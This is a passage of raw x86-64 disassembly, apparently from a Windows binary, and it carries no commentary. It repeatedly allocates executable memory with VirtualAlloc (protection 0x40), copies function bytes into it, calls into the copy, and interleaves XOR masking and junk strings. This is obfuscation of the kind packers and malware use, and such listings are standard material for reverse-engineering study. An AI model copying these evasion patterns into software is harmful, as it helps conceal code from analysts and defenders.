movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400121e0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
mov qword [r13 + rax*8 + 0x67c30], r15
mov qword [r13 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x1af0]
lea rcx, [0x14002dcf0]
call r8
nop
mov rcx, qword [rbp + 0x1b78]
xor rcx, qword [rbp + 0x1b80]
mov qword [rbp + 0x1b78], rcx
mov rax, qword [rbp + 0x1b88]
mov qword [rax], rcx
mulsd xmm0, xmm6
addsd xmm0, xmm8
subsd xmm0, xmm9
mov rcx, qword [rbp + 0x1b90]
xor rcx, qword [rbp + 0x1b98]
mov qword [rbp + 0x1b90], rcx
mov rax, qword [rbp + 0x1ba0]
mov qword [rax], rcx
addsd xmm0, qword [rsp + 0x68]
movsd qword [rsp + 0x68], xmm0
mov dword [rbp + 0x7c], 3
lea rdx, [rbp + 0x9110]
lea rcx, [rbp + 0x1968]
call fcn.140021f10
movsd qword [rbp + 0x900], xmm0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1ba8], xmm0
mov qword [rbp + 0x1bb8], rax
mov rdx, rsi
lea rcx, [rbp + 0x1ba8]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x14006c170]
lea rbx, [0x140021830]
test rax, rax
je 0x14001237d
cmp rax, rbx
je 0x14001236a
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6c170]
test rax, rax
jne 0x140012354
jmp 0x14001237d
mov eax, ecx
mov r9, qword [r13 + rax*8 + 0x6b7f0]
test r9, r9
jne 0x140012460
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
jne 0x1400123a6
mov r9, r12
jmp 0x14001243f
mov rax, rbx
mov rcx, r9
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400123b1
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140067c20]
mov qword [r13 + rax*8 + 0x6c170], rbx
mov qword [r13 + rax*8 + 0x6b7f0], r9
inc rax
mov qword [0x140067c20], rax
lea r8, [rbp + 0x7c]
lea rdx, [rbp + 0x900]
lea rcx, [0x140009f50]
call r9
nop
mov rcx, qword [rbp + 0x1ba8]
xor rcx, qword [rbp + 0x1bb0]
mov qword [rbp + 0x1ba8], rcx
mov rax, qword [rbp + 0x1bb8]
mov qword [rax], rcx
movsd xmm1, qword [rsp + 0x68]
subsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
lea rdx, [rbp + 0x9110]
lea rcx, [rbp + 0x1968]
call fcn.140021f10
movsd qword [rbp + 0x908], xmm0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1bc0], xmm0
mov qword [rbp + 0x1bd0], rax
mov rdx, rsi
lea rcx, [rbp + 0x1bc0]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x14006a840]
lea rbx, [0x140021750]
test rax, rax
je 0x140012529
nop dword [rax]
cmp rax, rbx
je 0x140012516
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6a840]
test rax, rax
jne 0x140012500
jmp 0x140012529
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x69ba0]
test r8, r8
jne 0x14001260f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140012552
mov r8, r12
jmp 0x1400125ee
mov rax, rbx
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140012560
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14006cdf8]
mov qword [r13 + rax*8 + 0x6a840], rbx
mov qword [r13 + rax*8 + 0x69ba0], r8
inc rax
mov qword [0x14006cdf8], rax
lea rdx, [rbp + 0x908]
lea rcx, [0x140009f60]
call r8
nop
mov rcx, qword [rbp + 0x1bc0]
xor rcx, qword [rbp + 0x1bc8]
mov qword [rbp + 0x1bc0], rcx
mov rax, qword [rbp + 0x1bd0]
mov qword [rax], rcx
mulsd xmm0, qword [rsp + 0x68]
movsd qword [rsp + 0x68], xmm0
mov eax, dword [rsp + 0x60]
mov r9d, dword [rbp + 0x1564]
mov r8d, dword [rbp + 0x1560]
lea rdx, [rbp + 0x9110]
lea rcx, [rbp + 0x1560]
test al, 1
jne 0x14001267d
call fcn.140009bf0
mov ecx, dword [rsp + 0x60]
add ecx, eax
jmp 0x140012688
call fcn.140009bf0
mov ecx, dword [rsp + 0x60]
sub ecx, eax
mov dword [rsp + 0x60], ecx
mov byte [rbp + 0x158c], 0
mov edi, 5
nop dword [rax + rax]
mov ebx, r12d
nop dword [rax]
nop word [rax + rax]
mov r9d, dword [rbp + 0x1564]
mov r8d, dword [rbp + 0x1560]
lea rdx, [rbp + 0x9110]
lea rcx, [rbp + 0x1560]
call fcn.140009bf0
mov ecx, dword [rsp + 0x60]
add ecx, eax
mov dword [rsp + 0x60], ecx
lea rdx, [rbp + 0x9110]
lea rcx, [rbp + 0x1968]
call fcn.140021f10
addsd xmm0, qword [rsp + 0x68]
movsd qword [rsp + 0x68], xmm0
lea rdx, [rbp + 0x9110]
test bl, 1
jne 0x14001272d
mov r9d, dword [rbp + 0x1564]
mov r8d, dword [rbp + 0x1560]
lea rcx, [rbp + 0x1560]
call fcn.140009bf0
mov ecx, dword [rsp + 0x60]
imul ecx, eax
mov dword [rsp + 0x60], ecx
jmp 0x14001274d
lea rcx, [rbp + 0x1968]
call fcn.140021f10
movsd xmm1, qword [rsp + 0x68]
addsd xmm0, xmm7
divsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
inc ebx
cmp ebx, 5
jl 0x1400126b0
sub rdi, 1
jne 0x1400126a0
mov r9d, dword [rbp + 0x1564]
mov r8d, dword [rbp + 0x1560]
lea rdx, [rbp + 0x9110]
lea rcx, [rbp + 0x1560]
call fcn.140009bf0
mov ebx, eax
mov r9d, dword [rbp + 0x1564]
mov r8d, dword [rbp + 0x1560]
lea rdx, [rbp + 0x9110]
lea rcx, [rbp + 0x1560]
call fcn.140009bf0
mov r8d, ebx
mov edx, eax
lea rcx, [rbp + 0x158c]
call fcn.1400218b0
mov ecx, dword [rsp + 0x60]
add eax, ecx
mov dword [rsp + 0x60], eax
lea rcx, [rbp + 0x1680]
call fcn.1400047a0
sub r14, 1
jne 0x1400117c0
lea rcx, [rbp + 0x3c0]
call fcn.140009fc0
mov rsi, qword [rbp - 0x80]
mov qword [rbp - 0x48], rsi
mov rax, qword [rax]
mov qword [rbp - 0x18], rax
lea rdx, [rbp - 0x48]
lea rcx, [rbp - 0x18]
call fcn.140021870
test al, al
js 0x1400117b0
mov eax, dword [rsp + 0x60]
lea rcx, [rbp + 0x2c80]
call fcn.140004eb0
nop
lea rcx, [rbp + 0x1740]
call fcn.140021e60
nop
mov rax, qword [rbp + 0x15e0]
movabs rdx, 0xff00ff00ff00ff00
xor rax, rdx
mov qword [rbp + 0x15e0], rax
lea rdx, [rbp + 0x15798]
mov qword [rdx], rax
jmp 0x1400150ab
call fcn.140024c3c
mov dword [rbp + 0xb824], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0xa4a0]
call fcn.1400068a0
mov dword [rbp + 0x1568], 0xffffff9c
mov dword [rbp + 0x156c], 0x64
movups xmmword [rbp + 0x1978], xmm10
mov dword [rsp + 0x60], r12d
movsd qword [rsp + 0x68], xmm15
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1758], xmm0
mov qword [rbp + 0x1768], rax
lea rcx, [rbp + 0x1758]
call fcn.140008aa0
nop
lea rcx, [rbp + 0x498]
call fcn.140021fb0
nop
mov rdx, rax
lea rcx, [rbp + 0x120]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x1758]
call fcn.140022230
nop
lea rcx, [rbp + 0x120]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x498]
call fcn.1400086c0
lea rcx, [rbp + 0x4f8]
call fcn.140022000
nop
mov rdx, rax
lea rcx, [rbp + 0x128]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x128]
lea rcx, [rbp + 0x1758]
call fcn.140022230
nop
lea rcx, [rbp + 0x128]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x4f8]
call fcn.1400086c0
lea rcx, [rbp + 0x500]
call fcn.140022030
nop
mov rdx, rax
lea rcx, [rbp + 0x130]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x1758]
call fcn.140022230
nop
lea rcx, [rbp + 0x130]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x500]
call fcn.1400086c0
lea rcx, [rbp + 0x508]
call fcn.140022060
nop
mov rdx, rax
lea rcx, [rbp + 0x138]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x138]
lea rcx, [rbp + 0x1758]
call fcn.140022230
nop
lea rcx, [rbp + 0x138]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x508]
call fcn.1400086c0
lea rcx, [rbp + 0x568]
call fcn.140022090
nop
mov rdx, rax
lea rcx, [rbp + 0x140]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0x1758]
call fcn.140022230
nop
lea rcx, [rbp + 0x140]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x568]
call fcn.1400086c0
lea rcx, [rbp + 0x570]
call fcn.1400220c0
nop
mov rdx, rax
lea rcx, [rbp + 0x148]
call fcn.140021fe0
nop
lea rdx, [rbp + 0x148]
lea rcx, [rbp + 0x1758]
call fcn.140022230
nop
lea rcx, [rbp + 0x148]
call fcn.1400086c0
nop
lea rcx, [rbp + 0x570]
call fcn.1400086c0
lea rcx, [rbp + 0x2418]
call fcn.140009fc0
mov qword [rbp + 0x578], 0x64
mov rax, qword [rbp + 0x2418]
mov qword [rbp + 0x5a0], rax
lea r8, [rbp + 0x578]
lea rdx, [rbp + 0x5a0]
lea rcx, [rbp + 0xfb0]
call fcn.140022100
mov rsi, qword [rax]
mov qword [rbp - 0x80], rsi
lea rdx, str.Rampant_nsanctuaries_nparenting_ncell_naccessible_nnecklaces_nyounger_ncontacts_nretreat_neffects_nmilitary_nKohgiluyeh_nChromatisme_nInternationale_nNational_ndisaster_ndreaming_nTeaching_nhistoric_nsending
lea rcx, [rbp + 0x2ca0]
call fcn.140005020
nop
lea rcx, [rbp + 0x608]
call fcn.140009fc0
mov qword [rbp - 0x38], rsi
mov rax, qword [rax]
mov qword [rbp - 0x30], rax
lea rdx, [rbp - 0x38]
lea rcx, [rbp - 0x30]
call fcn.140021870
test al, al
jns 0x140013b67
nop dword [rax]
mov r14d, 0x2710
lea rsi, [rbp + 0x15798]
nop dword [rax]
mov r9d, dword [rbp + 0x156c]
mov r8d, dword [rbp + 0x1568]
lea rdx, [rbp + 0xa4a0]
lea rcx, [rbp + 0x1568]
call fcn.140009bf0
mov rbx, qword [rbp + 0x1760]
sub rbx, qword [rbp + 0x1758]
sar rbx, 3
mov r9d, dword [rbp + 0x156c]
mov r8d, dword [rbp + 0x1568]
lea rdx, [rbp + 0xa4a0]
lea rcx, [rbp + 0x1568]
call fcn.140009bf0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0x1758]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
mov r9d, dword [rbp + 0x156c]
mov r8d, dword [rbp + 0x1568]
lea rdx, [rbp + 0xa4a0]
lea rcx, [rbp + 0x1568]
call fcn.140009bf0
mov r8d, eax
mov edx, dword [rsp + 0x60]
mov rcx, rdi
call rbx
mov dword [rsp + 0x60], eax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1bd8], xmm0
mov qword [rbp + 0x1be8], rax
mov rdx, rsi
lea rcx, [rbp + 0x1bd8]
call fcn.140009f70
nop
mov dword [rbp + 0x1608], r12d
mov dword [rbp + 0x160c], 0x19
lea rcx, [rbp + 0x2ca0]
call fcn.140004ea0
mov rbx, rax
lea rcx, [rbp + 0x2ca0]
call fcn.1400216d0
mov rdi, rax
cmp rbx, rax
je 0x140012c3d
nop dword [rax + rax]
mov r9d, dword [rbp + 0x160c]
mov r8d, dword [rbp + 0x1608]
lea rdx, [rbp + 0xa4a0]
lea rcx, [rbp + 0x1608]
call fcn.140009bf0
add al, 0x61
mov byte [rbx], al
inc rbx
cmp rbx, rdi
jne 0x140012c10
mov rcx, qword [rbp + 0x1bd8]
xor rcx, qword [rbp + 0x1be0]
mov qword [rbp + 0x1bd8], rcx
mov rax, qword [rbp + 0x1be8]
mov qword [rax], rcx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1698], xmm0
mov qword [rbp + 0x16a8], rax
lea rcx, [rbp + 0x1698]
call fcn.140008aa0
mov edx, 0x64
lea rcx, [rbp + 0x1698]
call fcn.1400074f0
nop
lea rax, [rbp + 0x1568]
mov qword [rbp + 0x950], rax
lea rax, [rbp + 0xa4a0]
mov qword [rbp + 0x958], rax
movups xmm6, xmmword [rbp + 0x950]
lea rdx, [rbp + 0xfb8]
lea rcx, [rbp + 0x1698]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0xfc0]
lea rcx, [rbp + 0x1698]
call fcn.140021420
movaps xmmword [rsp + 0x70], xmm6
lea r8, [rsp + 0x70]
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140022120
lea rdx, [rbp + 0xfc8]
lea rcx, [rbp + 0x1698]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0xfd0]
lea rcx, [rbp + 0x1698]
call fcn.140021420
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rax]
call fcn.1400221a0
mov ecx, dword [rsp + 0x60]
add ecx, eax
mov dword [rsp + 0x60], ecx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1bf0], xmm0
mov qword [rbp + 0x1c00], rax
mov rdx, rsi
lea rcx, [rbp + 0x1bf0]
call fcn.140009f70
nop
mov dword [rbp + 0x1ae8], 0xffffff9c
mov dword [rbp + 0x1aec], 0x64
lea rax, [rbp + 0x1ae8]
mov qword [rbp + 0x940], rax
lea rax, [rbp + 0xa4a0]
mov qword [rbp + 0x948], rax
movups xmm6, xmmword [rbp + 0x940]
lea rdx, [rbp + 0xfd8]
lea rcx, [rbp + 0x1698]
call fcn.140021420
mov rdi, qword [rax]
lea rdx, [rbp + 0xfe0]
lea rcx, [rbp + 0x1698]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0xfe8]
lea rcx, [rbp + 0x1698]
call fcn.140021420
movaps xmmword [rsp + 0x70], xmm6
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x20], rcx
mov r9, rdi
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp + 0xff0]
call fcn.140021780
lea rdx, [rbp + 0xff8]
lea rcx, [rbp + 0x1698]
call fcn.140021410
mov rbx, qword [rax]
lea rdx, [rbp + 0x1000]
lea rcx, [rbp + 0x1698]
call fcn.140021420
xor r8d, r8d
mov rdx, rbx
mov rcx, qword [rax]
call fcn.140021f90
nop
mov rcx, qword [rbp + 0x1bf0]
xor rcx, qword [rbp + 0x1bf8]
mov qword [rbp + 0x1bf0], rcx
mov rax, qword [rbp + 0x1c00]
mov qword [rax], rcx
lea rdx, [rbp + 0xa4a0]
lea rcx, [rbp + 0x1978]
call fcn.140021f10
movaps xmm6, xmm0
lea rdx, [rbp + 0xa4a0]
lea rcx, [rbp + 0x1978]
call fcn.140021f10
movsd qword [rbp + 0x1ad8], xmm0
movsd qword [rbp + 0x1ae0], xmm6
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1c80], xmm0
mov qword [rbp + 0x1c90], rax
mov rdx, rsi
lea rcx, [rbp + 0x1c80]
call fcn.140009f70
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1c08], xmm0
mov qword [rbp + 0x1c18], rax
mov rdx, rsi
lea rcx, [rbp + 0x1c08]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x14006a520]
lea rbx, [0x140021750]
test rax, rax
je 0x140012f09
nop dword [rax + rax]
cmp rax, rbx
je 0x140012ef6
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6a520]
test rax, rax
jne 0x140012ee0
jmp 0x140012f09
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x69230]
test r8, r8
jne 0x140012fef
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140012f32
mov r8, r12
jmp 0x140012fce
mov rax, rbx
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140012f40
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068f00]
mov qword [r13 + rax*8 + 0x6a520], rbx
mov qword [r13 + rax*8 + 0x69230], r8
inc rax
mov qword [0x140068f00], rax
lea rdx, [rbp + 0x1ad8]
lea rcx, [0x140009f30]
call r8
nop
mov rcx, qword [rbp + 0x1c08]
xor rcx, qword [rbp + 0x1c10]
mov qword [rbp + 0x1c08], rcx
mov rax, qword [rbp + 0x1c18]
mov qword [rax], rcx
addsd xmm0, xmm7
movsd qword [rbp + 0x5a8], xmm0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1c20], xmm0
mov qword [rbp + 0x1c30], rax
mov rdx, rsi
lea rcx, [rbp + 0x1c20]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x140067c30]
test rax, rax
je 0x140013089
nop
cmp rax, r15
je 0x140013076
inc ecx
mov rax, qword [r13 + rcx*8 + 0x67c30]
test rax, rax
jne 0x140013060
jmp 0x140013089
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x6ce10]
test r8, r8
jne 0x14001316f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400130b2
mov r8, r12
jmp 0x14001314e
mov rax, r15
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400130c0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068278]
mov qword [r13 + rax*8 + 0x67c30], r15
mov qword [r13 + rax*8 + 0x6ce10], r8
inc rax
mov qword [0x140068278], rax
lea rdx, [rbp + 0x1ae0]
lea rcx, [0x14002ed10]
call r8
movaps xmm9, xmm0
mov rcx, qword [rbp + 0x1c20]
xor rcx, qword [rbp + 0x1c28]
mov qword [rbp + 0x1c20], rcx
mov rax, qword [rbp + 0x1c30]
mov qword [rax], rcx
xorps xmm1, xmm1
xor eax, eax
movups xmmword [rbp + 0x1c38], xmm1
mov qword [rbp + 0x1c48], rax
mov rdx, rsi
lea rcx, [rbp + 0x1c38]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x14006d450]
lea rbx, [0x140021750]
test rax, rax
je 0x140013209
nop dword [rax]
cmp rax, rbx
je 0x1400131f6
inc ecx
mov rax, qword [r13 + rcx*8 + 0x6d450]
test rax, rax
jne 0x1400131e0
jmp 0x140013209
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x68be0]
test r8, r8
jne 0x1400132ef
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140013232
mov r8, r12
jmp 0x1400132ce
mov rax, rbx
mov rcx, r8
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140013240
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140068270]
mov qword [r13 + rax*8 + 0x6d450], rbx
mov qword [r13 + rax*8 + 0x68be0], r8
inc rax
mov qword [0x140068270], rax
lea rdx, [rbp + 0x5a8]
lea rcx, [0x14002e7e0]
call r8
movaps xmm8, xmm0
mov rcx, qword [rbp + 0x1c38]
xor rcx, qword [rbp + 0x1c40]
mov qword [rbp + 0x1c38], rcx
mov rax, qword [rbp + 0x1c48]
mov qword [rax], rcx
xorps xmm1, xmm1
xor eax, eax
movups xmmword [rbp + 0x1c50], xmm1
mov qword [rbp + 0x1c60], rax
mov rdx, rsi
lea rcx, [rbp + 0x1c50]
call fcn.140009f70
nop
mov ecx, r12d
mov rax, qword [0x140067c30]
test rax, rax
je 0x14001337e
cmp rax, r15
je 0x14001336b
inc ecx
mov rax, qword [r13 + rcx*8 + 0x67c30]
test rax, rax
jne 0x140013355
jmp 0x14001337e
mov eax, ecx
mov r8, qword [r13 + rax*8 + 0x6ce10]
test r8, r8
jne 0x140013461
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400133a7
mov r8, r12
jmp 0x140013440
mov rax, r15
mov rcx, r8
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400133b2
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
